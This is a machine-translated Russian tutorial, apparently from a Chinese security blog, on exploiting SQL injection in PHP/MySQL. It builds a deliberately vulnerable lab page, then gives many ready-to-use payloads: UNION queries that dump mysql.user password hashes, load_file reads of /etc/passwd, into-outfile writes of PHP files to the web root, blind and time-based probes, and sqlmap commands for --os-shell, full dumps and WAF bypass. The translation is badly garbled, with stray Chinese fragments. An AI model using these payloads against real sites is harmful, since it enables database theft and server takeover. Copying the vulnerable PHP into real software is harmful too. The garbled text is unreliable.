Обнаружение и эксплуатация уязвимостей SQL-инъекций
Обнаружение и эксплуатация уязвимостей SQL-инъекций

SQL-инъекция заключается во вставке команд SQL в веб-форму для отправки или ввода имени домена или строки запроса для запроса страницы и, в конечном итоге, обманом заставляет сервер выполнять вредоносные команды SQL. Он использует существующие приложения для внедрения (вредоносных) команд SQL в систему. способность фонового ядра базы данных выполняться, он может получить базу данных на веб-сайте с уязвимостями безопасности путем ввода операторов SQL в веб-форму вместо выполнения операторов SQL в соответствии с замыслом разработчика.

цифровая инъекция

цифровая инъекция — самый традиционный метод инъекции,Обычно существует в адресе ссылки веб-страницы.,Напримерindex.php?id=Такой тип,Обычно есть места, которые можно эксплуатировать.,Изучите цифровую версию на примере здесь Несколько советов по инъекциям.

◆Создайте среду для практики◆

1. Прежде всего, я использую здесь Centos7 и Yum для создания среды LAMP в этой системе.

Язык кода:javascript
копировать
[root@localhost ~]# yum install -y httpd httpd-devel \
mariadb mariadb-server mysql-devel \
php php-mysql php-common php-gd php-xml

[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# systemctl restart mariadb
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb

2. Войдите в MySQL, создайте таблицу данных для тестирования и напишите некоторые данные запроса, используемые для тестирования.

Язык кода:javascript
копировать
[root@localhost ~]# mysql -uroot -p1233

MariaDB [(none)]> create database lyshark;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> use lyshark;
Database changed

MariaDB [lyshark]> create table lyshark (
    -> id int(10) not null,
    -> title varchar(1000) not null,
    -> text varchar(2000) not null
    -> );
Query OK, 0 rows affected (0.02 sec)

MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));

insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');

3.Создайте новый в каталоге сайта.index.phpдокумент,и настроить разрешения,Здесь нужно закрытьSelinuxиIptablesбрандмауэр.

Язык кода:javascript
копировать
[root@localhost ~]# setenforce 0
[root@localhost ~]# iptables -F
[root@localhost ~]#
[root@localhost ~]# vim /var/www/html/index.php

<?php
	$id = $_GET['id'];
	$connection = mysql_connect("127.0.0.1","root","1233");
	mysql_select_db("lyshark",$connection);
	$myquery = "select * from lyshark where id=$id";
	$result = mysql_query($myquery);
	while($row = mysql_fetch_array($result)){
		echo "серийный номер: ".$row['id']."<br >";
		echo "заголовок: ".$row['title']."<br >";
		echo "содержание: ".$row['text']."<br >";
		echo "<hr>";
	}
	mysql_close($connection);
	echo «Операторы SQL, выполняемые в фоновом режиме: ".$myquery."<hr>";
	#mysql_free_result($result);
?>

[root@localhost ~]# chmod 755 -R /var/www/html/index.php
[root@localhost ~]# chown apache.apache /var/www/html/index.php
[root@localhost ~]# systemctl restart httpd

4. Наконец, посетите эту страницу и передайте параметр, чтобы просмотреть возвращенные результаты.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2

◆Определение точки инъекции◆

Отправьте одинарные кавычки: Определите, существует ли точка инъекции, отправив одинарные кавычки и основываясь на возвращаемом результате. Если доходность нормальная, это означает, что точка инъекции есть.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'

SQL-оператор выполнен: select * from lyshark where id=1'

Отправить И решение: Вы также можете использовать оператор and, чтобы определить, есть ли внедрение.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1

--------------------------------------------------------------
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
SQL-оператор выполнен: select * from lyshark where id=1 and 1=0

Вышеупомянутую инъекцию можно найтиand 1=1Данные возвращены,иand 1=0тогда нет возврата,Это связано сand 1=1это истинное состояние,所以返回了иand 1=0Если результат ложный, результата не будет,Здесь также можно увидеть, что наш оператор инъекции имеет видбаза данные выполнены.

Отправить ИЛИ решение: Вы также можете использовать оператор OR для определения разрешений базы данных.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
SQL-оператор выполнен: select * from lyshark where id=1 and 1=1

--------------------------------------------------------------
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
SQL-оператор выполнен: select * from lyshark where id=1 and 1=0

Отправить плюс: Вводим параметры1+1,Проверьте, являются ли возвращаемые данные результатом идентификатора, равного 2.,Обратите внимание, что знак + имеет особое значение в операторах SQL.,Итак, мы собираемся закодировать его по URL,Наконец, это %2b.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1

SQL-оператор выполнен: select * from lyshark where id=1+1

Отправить минус: Точно так же представление знака минус также может определить точку внедрения, и здесь не требуется никакого преобразования кодировки.

Язык кода:javascript
копировать
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1

SQL-оператор выполнен: select * from lyshark where id=2-1

◆Распространенные суждения◆

Определите права ROOT: суждениебаза Имеют ли данные разрешение ROOT. Если результат запроса возвращается, это означает, что у него есть разрешение.

Язык кода:javascript
копировать
index.php?id=1 and ord(mid(user(),1,1)) = 114

Определите размер разрешений: Если результат возвращается нормально, это означает, что у него есть разрешения на чтение и запись. Если возвращается ошибка, администратору следует понизить версию учетной записи базы данных.

Язык кода:javascript
копировать
index.php?id=1 and(select count(*) from mysql.user) > 0

Пароль управления запросами: Запросить пароль управления MySQL,Вот#Знак хвоста,Это означает аннотацию,За описанием следуют комментарии.

Язык кода:javascript
копировать
index.php?id=1 union select host,user,password from mysql.user#                   // Версии до 5.6
index.php?id=1 union select host,user,authentication_string from mysql.user#      // 5.7 и более поздние версии

Напишите бэкдор на главную станцию: Можно написать бэкдор, состоящий из одного предложения, но каталог должен иметь разрешения на чтение, запись и выполнение в системе Linux.

Язык кода:javascript
копировать
index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
index.php?id=1 union select null,null,"<?php phpinfo();?>"  into outfile '/var/www/html/a.php'
index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))

Часто используемые суждения: Ниже приведены некоторые часто используемые операторы запроса на внедрение, включая конфиденциальные операции, такие как запрос имен хостов.

Язык кода:javascript
копировать
index.php?id=1 union select 1,1,load_file("/etc/passwd")       // Загрузить указанный файл
index.php?id=1 union select 1,1,@@datadir                      // суждениебаза данных目录
index.php?id=1 union select 1,1,@@basedir                      // Определите корневой путь установки
index.php?id=1 union select 1,1,@@hostname                     // Определить имя хоста
index.php?id=1 union select 1,1,@@version                      // суждениебаза данных Версия

index.php?id=1 union select 1,1,@@version_compile_os           // Определить тип системы (Linux)
index.php?id=1 union select 1,1,@@version_compile_machine      // Архитектура системы судейства (x86)

index.php?id=1 union select 1,1,user()                         // Разоблачение пользователей системы
index.php?id=1 union select 1,1,database()                     // Выставить текущую базу данных

◆Количество символов◆

Union Поля запроса: Объединение можно использовать для одного или нескольких наборов результатов SELECT.,Но у него есть состояние,То есть два оператора запроса выбора должны иметь одинаковые столбцы, прежде чем они смогут быть выполнены.,Используя эту функцию, мы можем выполнять сравнительные запросы,То есть, когда мыunion select的列与它Запрос的列相同час,Страница возвращается в нормальное состояние,исуществоватьandдобавить после1=1 или 1=2Функция будет рассмотрена позже.

а. Сначала мы угадаем,текущийКоличество полей — 2когда,Страница вернет ошибку,Это означает, что количество полей таблицы должно быть больше 2.

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select 1,2

SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2

б. На основании вышеизложенного,насдобавить поле,Запрос 1,2,3Страница отображается нормально,Это показывает, что структура таблицы имеет три поля.

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select 1,2,3

SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2,3

в. Для проверки базы. Есть данные 3 поля?,насУвеличение до 4 полей,открыть страницуПоказать ошибку,Тогда доказательство должно состоять из 3 полей.

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select 1,2,3,4

SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select 1,2,3,4

приведенный выше результат,иллюстрироватьКоличество полей — 3.,Если введенное число больше или меньше количества полей, будет сообщено об ошибке.,ииспользоватьunion select null,null,nullзаменять1,2,3Того же эффекта можно добиться, используя числа..

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select null,null,null #

SQL-оператор выполнен: select * from lyshark where id=1 and 1=1 union select null,null,null

Order ByПоля запроса: существоватьSQLОператор предназначен для сортировки указанного столбца набора результатов.,比如нас想让结果集按照第一列排序就是order by 1Сортировать по второму столбцуorder by 2И так далее,По этому принципу определяем количество полей,如果насСортировать по столбцу 1база данныхвернется в нормальное состояние,但是当насСортировать по столбцу 100,Но столбца 100 не существует в базе данных.,Тем самым сообщая об ошибке.

a.首先наспредполагатьбаза данныхЕсть 4 поля,пытатьсяСортировать по строке 4Обнаружил, что данные не могут быть отображены,Описание меньше 4.

Язык кода:javascript
копировать
index.php?id=1 order by 4 #

б. Приведенный выше запрос не дает никаких результатов.,Мы запрашиваем 4 поля без возвращаемого значения,Допустим, в таблице меньше четырех полей.,насПродолжить использование 3 тестов,Результаты были возвращены в это время.

Язык кода:javascript
копировать
index.php?id=1 order by 3 #

Большинство программ вызывают только первый оператор запроса к базе данных, а затем возвращают данные, запрошенные с помощью совместного запроса, данные, которые мы хотим увидеть, находятся во втором операторе. Если мы хотим увидеть то, что хотим, их два. методы для данных. Первый — вернуть false первому фрагменту данных, а второй — напрямую вернуть нужные данные с помощью операторов SQL.

Первый: мы делаем результат первого запроса всегда ложным,Используяand 0осознать,Маркировка ниже будет чистой.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select null,null,null

SQL-оператор выполнен: select * from lyshark where id=1 and 0 union select null,null,null

Второй тип: через оператор limit лимит используется для подкачки в mysql, с помощью которой мы можем получить нужные нам данные из запрошенных данных.

Язык кода:javascript
копировать
index.php?id=1 union select null,null,null limit 1,1

SQL-оператор выполнен: select * from lyshark where id=1 union select null,null,null limit 1,1

Приведенный выше возврат результата также пуст, поскольку используется значение null, поэтому возвращаемый результат по-прежнему равен нулю.

◆Проверьте имя базы данных и таблицы◆

Проверьте текущее имя базы данных: 可以直接использоватьMySQLВстроенная функцияdatabase()来Запрос得到текущийиспользовать的база данных.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select 1,1,database()

Проверьте все имена баз данных: Используйте следующий оператор, чтобы получить всю базу данныхимя,and 1=0Функция заключается в том, чтобы не отображать первую строку.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata

Проверьте указанное имя базы данных: Он используется для запроса имени первой базы данных, но с этим методом записи есть небольшая проблема, продолжайте читать.

Язык кода:javascript
копировать
index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1

Приведенные выше результаты запроса,Имя базы данных не отображается, но отображаются результаты первого оператора.,существоватьunionДобавить раньшеand 0Он будет отображаться.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1

Следующие методы запроса,под контролемlimit 0,1,2,3....,Мы можем получить указанное количество имен баз данных.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1

Имя таблицы поиска(1): Используяgroup_concat可以返回Запрос的所有结果,Потому что нам нужно определить нужные нам конфиденциальные данные посредством именования.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select 1,1,group_concat(table_name) 
>                    from information_schema.tables where table_schema='lyshark'  #checklyshark библиотека серединаимя таблицысказать

Имя таблицы поиска (2): Аналогичным образом вы также можете использовать следующий оператор, чтобы найти таблицы в базе данных, но этот метод запроса будет отображать результаты запроса в отдельных строках.

Язык кода:javascript
копировать
index.php?id=1 and 0 union select 1,1,table_name
>                    from information_schema.tables where table_schema='lyshark'  #checklyshark библиотека серединаимя таблицысказать

◆Проверка полей и данных◆

Поля в справочной таблице (1):

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
>              from information_schema.columns
>              where table_schema='lyshark' and table_name='lyshark'

Поля в справочной таблице (2): Вы также можете просмотреть поля в пользовательской таблице библиотеки MySQL и выполнить запрос.

Язык кода:javascript
копировать
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
>              from information_schema.columns
>              where table_schema='mysql' and table_name='user'

Поля в справочной таблице (3):

Язык кода:javascript
копировать
index.php?id=2 union select null,null,column_name
>              from information_schema.columns
>              where table_schema='mysql' and table_name='user'

Посмотрите данные в таблице: Чтобы запросить данные в таблице, мы можем использовать следующие три метода запроса.

Язык кода:javascript
копировать
index.php?id=1 union select Host,User,Password from mysql.user

index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark

index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user

Внедрение символов

Строка или строка состоит из чисел、письмо、Строка символов, состоящая из символов подчеркивания,Обычно записывается какs="a1 a2···an "(n>=0),Это тип данных, который представляет текст на языках программирования.,Внедрение символов заключается в том, чтобы обрабатывать входные параметры как строки в базе. данные спрашивайте,Внедрение символов заключено в одинарные кавычки в операторе sql.,Далее рассмотрим оператор SQL.

Язык кода:javascript
копировать
$query="select first_name from users where id='$_GET['id']'";

Приведенный выше оператор SQL предназначен для поиска соответствующего first_name в таблице пользователей на основе идентификатора, введенного пользователем.,正常пользователь当然会输入Например1,2ждать,Но если кто-то введет следующее вредоносное утверждение, произойдет инъекция.

Язык кода:javascript
копировать
1' union select database() #;

В этом случае результат выполнения этого SQL-запроса в фоновом режиме станет следующим.

Язык кода:javascript
копировать
select first_name from users where id='1'union select database()#'

Как и выше, мы можем не только получить first_name с id=1, но и получить соответствующую информацию о текущей базе данных. Это то, чего разработчики не ожидали. По сути, это простой пример SQL-инъекции. разработчик вводит информацию пользователю. Фильтрация ввода не является строгой, что позволяет пользователям управлять базой данных путем ввода операторов SQL, что приводит к уязвимостям внедрения SQL.

Короче говоря, символьная SQL-инъекция означает, что параметры URL-адреса с уязвимостями SQL-инъекции являются строковыми типами (которые должны быть представлены одинарными кавычками). Ключом к символьной SQL-инъекции является закрытие одинарных кавычек, как показано ниже. примеры:

Язык кода:javascript
копировать
select * from tables where idproduct=’ 13’;
select * from tables where name=’ fendo’;
select * from tables where data=’ 01/01/2017’;

◆Создайте среду для практики◆

1. Прежде всего, мы взяли за основу оригинал,新建一个документ/var/www/html/index.php.

Язык кода:javascript
копировать
vim /var/www/html/index.php

<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","1233");

mysql_select_db('fendo',$conn);
$sql="select * from user where username = '$name'";
$result=mysql_query($sql);

	while($row = mysql_fetch_array($result)){
		echo "пользовательID:".$row['id']."<br >";
		echo "пользовательимя:".$row['username']."<br >";
		echo "пользователь密码:".$row['password']."<br >";
		echo "пользователь邮箱:".$row['email']."<br >";
		echo "<hr>";
	}

	mysql_close($conn);
	echo "<hr>";
	echo «Операторы SQL, выполняемые в фоновом режиме: "."$sql <br >";
?>

2. Войдите в базу данных, создайте несколько табличных структур и вставьте несколько фрагментов тестовых данных.

Язык кода:javascript
копировать
[root@localhost ~]# mysql -uroot -p

MariaDB [(none)]> create database fendo;
MariaDB [(none)]> use fendo;
MariaDB [fendo]> create table user(
    -> id int not null,
    -> username varchar(100) not null,
    -> password varchar(100) not null,
    -> email varchar(200) not null
    -> );
Query OK, 0 rows affected (0.02 sec)

insert into user(id,username,password,email) values(1,'admin','fendo','10010@qq.com');
insert into user(id,username,password,email) values(2,'guest','goods','10020@qq.com');
insert into user(id,username,password,email) values(3,'lyshark','nice','10030@qq.com');

3. Перезапустите службу Apache и посетите страницу, чтобы проверить эффект.

Язык кода:javascript
копировать
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark

◆Техники внедрения персонажей◆

Обнаружение точек инъекции: Метод обнаружения символьного типа аналогичен методу обнаружения целочисленного типа, но данные необходимо закрыть вручную с помощью операторов SQL, как показано ниже.

Язык кода:javascript
копировать
index.php?username=admin' and '1'='1
index.php?username=admin' and '1'='0
index.php?username=admin' and '1'=1--'
index.php?username=admin' or '1'=1--'

Угадайте длину поля: 接着нас Используяunion selectзаявление,Угадай базу длина столбца данных, длина поля.

Язык кода:javascript
копировать
index.php?username=admin ' union select 1,1,1 and '1'='1    // Выдается ошибка, поле описания больше 3
index.php?username=admin ' union select 1,1,1,1 and '1'='1  // Отображается правильно, таблица имеет 4 поля.
index.php?username=admin ' union select 1,1,1,1'            // Это также может завершить закрытие оператора
index.php?username=admin ' union select null,null,null,null'

Угадайте конфиденциальную информацию: 接着заменять上面заявлениесередина的1,1,1,1заменять为MySQLВыполнить функцию,Угадайте конфиденциальную информацию.

Язык кода:javascript
копировать
index.php?username=admin' union select database(),1,@@version,@@datadir'
index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0

Угадайте, существует ли таблица: Угадайте, существует ли указанная таблица. После выполнения оператора не сообщается об ошибке, что означает, что пользовательская таблица существует.

Язык кода:javascript
копировать
index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''='      // Пользователь таблицы существует
index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''='   // Таблица lyshark не существует

Проверьте все имена таблиц: проходить以下заявление,Запросfendoбаза данныхсередина存существовать的所有имя таблицысказать.

Язык кода:javascript
копировать
index.php?username=admin' union select 1,1,1,group_concat(table_name)
>                  from information_schema.tables where table_schema="fendo"'

Поля в справочной таблице: Запросfendoбаза данныхсередина,user表середина的字段,и отображается.

Язык кода:javascript
копировать
index.php?username=admin' union select 1,1,1,group_concat(column_name)
>                  from information_schema.columns where
>                  table_schema="fendo" and table_name="user"'

Посмотрите данные в таблице: Запросfendoбаза данныхсередина,user表середина指定字段的数据,и отображается.

Язык кода:javascript
копировать
index.php?username='admin' union select 1,group_concat(password),1,1 from user'
index.php?username='admin' union select id,username,password,email from user'

Вышеупомянутые примеры: Внедрение Обычно используемые методы символов, другие методы внедрения мало чем отличаются от целочисленных типов. В целях экономии места я не буду продолжать писать здесь. Вы можете использовать базовые функции, предоставляемые MySQL, чтобы проверить это самостоятельно.

Ручное введение на основе отчетов об ошибках

Угадай версию: Если он возвращает нормальный результат, это означает, что версия базы данных равна 5. Если он возвращает ошибку, это означает, что она больше или меньше 5.

Язык кода:javascript
копировать
index.php?id=1 and left(version(),1)=5#        // Вернитесь в нормальное состояние, объясните базу версия данных – 5
index.php?id=1 and left(version(),1)=4#        // Ошибка возврата, база описания версия данных не 5

Угадайте название библиотеки: Посредством слепого внедрения единицы каждой базы данных угадываются шаг за шагом и, наконец, объединяются вместе.

Язык кода:javascript
копировать
index.php?id=1 and (length(database())) >=4                    // Угадайте, сколько строк в названии библиотеки

index.php?id=1 and (left(database(),1)) >= 'd'   #              // Угадайте, что первая левая цифра названия библиотеки — d.
index.php?id=1 and (left(database(),2)) >= 'dv'  #              // Угадайте, что первые две цифры слева от названия библиотеки — dv.
index.php?id=1 and (left(database(),3)) >= 'dvw' #              // Угадайте, что первые 3 цифры слева от названия библиотеки — dvw.
index.php?id=1 and (left(database(),4)) >= 'dvwa'#              // Угадайте, что первые 4 цифры слева от названия библиотеки — dvwa.


index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 #          // Первая позиция – d
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 #          // Вторая позиция — v.
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 #          // Третья позиция – w
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 #           // 4-я позиция – это


mid ((a,b,c)                     // Перехватить позиции от b до c из строки a
ord()                            // Преобразуйте результат в код ascii и сравните его со следующим числовым значением.
CAST(DATABASE() AS CHAR)         // Если данные получены, верните

Угадайте название таблицы: Если веб-страница возвращается нормально, это означает, что эта таблица существует. Если веб-страница возвращается ненормально, это означает, что она не существует.

Язык кода:javascript
копировать
чиновник: and (select count(*) from название таблицы) >=0

index.php?id=1 and (select count(*) from mysql.user) >=0     // Таблица mysql.user существует.
index.php?id=1 and (select count(*) from lyshark) >=0        // Таблица Lyshark существует

Угадай поле: Если веб-страница возвращается нормально, это означает, что есть угаданное поле. Если это ненормально, вам нужно продолжить угадывание.

Язык кода:javascript
копировать
чиновник: and (select count (имя поля) from Угаданное название таблицы)>=0

index.php?id=1 and (select count(id) from users) >=0       // Вернитесь к нормальному состоянию, указав, что поле id существует.
index.php?id=1 and (select count(name) from users) >=0     // Возврат ненормальный, и поле имени не существует.


index.php?id=1 and (select count(*) from lyshark) >=3 #--   // Возвращает количество записей в таблице

Угадайте имя пользователя: Обнаружение нескольких указанных пользователей также может быть выполнено с помощью обычных символов, и использование других функций аналогично.

Язык кода:javascript
копировать
index.php?id=1' and (length(user())) >=14 #                // Угадай базу длина имени пользователя
index.php?id=1' and (select user() like 'root%') #         // угадай имя пользователя
index.php?id=1' and (select user() regexp '^[a-z]') #      // Угадай начало от А до Я
index.php?id=1' and (select user() regexp '^r') #          // Первый из них - р.
index.php?id=1' and (select user() regexp '^ro') #         // Вторая цифра — о.
index.php?id=1' and (select user() regexp '^root') #       // и так далеепредполагатьчетверка лучших

Отсроченная инъекция: проходитьsleep(5)Метод задержки,Мы также можем определить, есть ли точка инъекции.

Язык кода:javascript
копировать
index.php?id=1 and sleep(5) #
index.php?id=1 and sleep(5) order by 3 #      // Если полей 3, будет задержка 5 секунд.

index.php?id=1 and select if(length(user())=0,sleep(3),1) #    //Если user=0, задержка 3 секунды
index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // Первый символ = d, далее задержка 3 секунды.
index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // Второй символ = v задержится на 3 секунды.

Основные команды SQLMap (расширенные)

Команда обнаружения:

Язык кода:javascript
копировать
sqlmap -u "./index.php?id=1" -v 3                   # Показать полезную нагрузку атаки
sqlmap -u "./index.php?id=1" --level=3              # Укажите уровень обнаружения
sqlmap -u "./index.php?id=1" --privileges           # Проверьте все права пользователя
sqlmap -u "./index.php?id=1" --privileges root      # Проверьте права root-пользователя
sqlmap -u "./index.php?id=1" --all                  # Искать по всей базе данных
sqlmap -u "./index.php?id=1" --hostname             # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --is-dba               # Определить root-права
sqlmap -u "./index.php?id=1" --users                # база перечисления данныхпользователь
sqlmap -u "./index.php?id=1" --random-agent         # Случайный пользовательский агент
sqlmap -u "./index.php?id=1" --fingerprint          # Выполнить проверку отпечатков пальцев версии СУБД

sqlmap -u "./index.php?id=1" --output-dir=""        # Пользовательский выходной каталог
sqlmap -u "./index.php?id=1" --file-read=""         # прочитать файл
sqlmap -u "./index.php?id=1" --file-write=""        # операция записи

sqlmap -u "./index.php?id=1" --os-cmd="net user"    # выполнить команду
sqlmap -u "./index.php?id=1" --os-shell             # Интерактивное выполнение команд
sqlmap -u "./index.php?id=1" --sql-query=""         # Оператор SQL выполнен
sqlmap -u "./index.php?id=1" --cookie=""            # Указанный файл cookie
sqlmap -u "./index.php?id=1" --temper=""            # Укажите скрипт фильтра

Команда удаления:

Язык кода:javascript
копировать
sqlmap -u "./index.php?id=1" --identify-waf                  # Проверьте, есть ли WAF
sqlmap -u "./index.php?id=1" --current-db                    # Запросить текущую базу данных
sqlmap -u "./index.php?id=1" --current-user                  # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --users                         # Запросить все имена пользователей
sqlmap -u "./index.php?id=1" --dbs                           # Перечислить все базы данных
sqlmap -u "./index.php?id=1" --tables                        # Перечислить все таблицы

sqlmap -u "./index.php?id=1" -D "mysql" --tables             # Получить таблицу в библиотеке MySQL.
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # Получить имя столбца таблицы mysql.host
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # Сохраните mysql.host на локальном компьютере.
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # Сними все штаны
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Внедрение файлов cookie: level >=2Используйте внедрение файлов cookie,level >=3использоватьUser-agent/Refererинъекция.

Язык кода:javascript
копировать
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #Определяем точку инъекции
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #Предполагатьбаза данныхимя
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #угадай имя таблицы
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --level 2        #угадай поле
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --dump --level 2 #угадай контент

ПОСТ-инъекция:

Язык кода:javascript
копировать
1. Откройте целевой адрес в браузере. http:// www.xxx.com /Login.asp
2. Настройте прокси-сервер Burp (127.0.0.1:8080) для перехвата запросов.
3. Нажмите кнопку «Отправить» в форме входа.
4. В это время Burp перехватит наш POST-запрос на вход в систему.
5. Преобразуйте этот запрос на публикацию скопировать в txt и запишите содержимое. id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

Отсроченная инъекция:

Язык кода:javascript
копировать
Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1
sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3

Обход WAF:

Язык кода:javascript
копировать
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-waf
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-waf
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"

Аудит SQL-инъекций

Настройка среды анализа SQL-инъекций,Сначала убедитесь,MySQLВерсия为MySQL 5.5Вот и все,И импортируйте базу ниже Скрипт данных автоматически создает соответствующую базу данныхдокумент.

Язык кода:javascript
копировать
drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists users;
create table users(
	id int(10) primary key not null,
	username varchar(100) not null,
	password varchar(100) not null,
	usremail varchar(100) not null,
	usertype int(1) default 0
);
insert into lyshark.users(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@126.com");
insert into lyshark.users(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@blib.com");
insert into lyshark.users(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@mkic.com");
insert into lyshark.users(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com");
insert into lyshark.users(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@gmail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@emial.com");
insert into lyshark.users(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@345.com");

Затем установите егоPHP7.0或Вот и все Версия的环境,и создайте файл index.php,Напишите следующий тестовый код,база Пожалуйста, измените пароль данных самостоятельно.

Язык кода:javascript
копировать
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="gbk">
    <title>SQL инъекция测试代码</title>
</head>
	<?php
	$connect = mysqli_connect("localhost","root","123456","lyshark");
	if($connect)
	{
	        $id = $_GET['id'];
	        if(isset($id))
	        {
	                $sql = "select * from users where id='$id' limit 0,1";
	                $query = mysqli_query($connect,$sql);
	                $row = mysqli_fetch_array($query);
	        }
	}
	?>
<body>
	<table border="1">
	   <tr>
	          <th>серийный номер</th><th>пользователь账号</th><th>пользователь密码</th><th>пользователь邮箱</th><th>Разрешения</th>
	   </tr>
	   <tr>
	          <td><?php echo $row['id']; ?></td>
	          <td><?php echo $row['username']; ?></td>
	          <td><?php echo $row['password']; ?></td>
	          <td><?php echo $row['usremail']; ?></td>
	          <td><?php echo $row['usertype']; ?></td>
	   </tr>
	</table>
	<?php echo '<hr><b> Бэкэнд выполняет операторы SQL:  </b>' . $sql;  ?>
</body>
</html>

Определите точку инъекции: Существует множество форм оценки точки инъекции. Мы можем судить, используя такие символы, как и/или/+-.

Язык кода:javascript
копировать
index.php?id=1' and 1=1 --+    # Отправить и оценить инъекцию
index.php?id=1' and 1=0 --+
index.php?id=1%2b1             # Отправить плюс подписать решение
index.php?id=2-1               # Отправить знак минуса для инъекции суждения
index.php?id=1 and sleep(5)    # Отложенное суждение, такое как точка

Часто используемые суждения:

Язык кода:javascript
копировать
# -----------------------------------------------------------------------------------
# Определите разрешение ROOT: определите, имеет ли база данных разрешение ROOT. Если возвращается результат запроса, это означает, что у нее есть разрешение.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
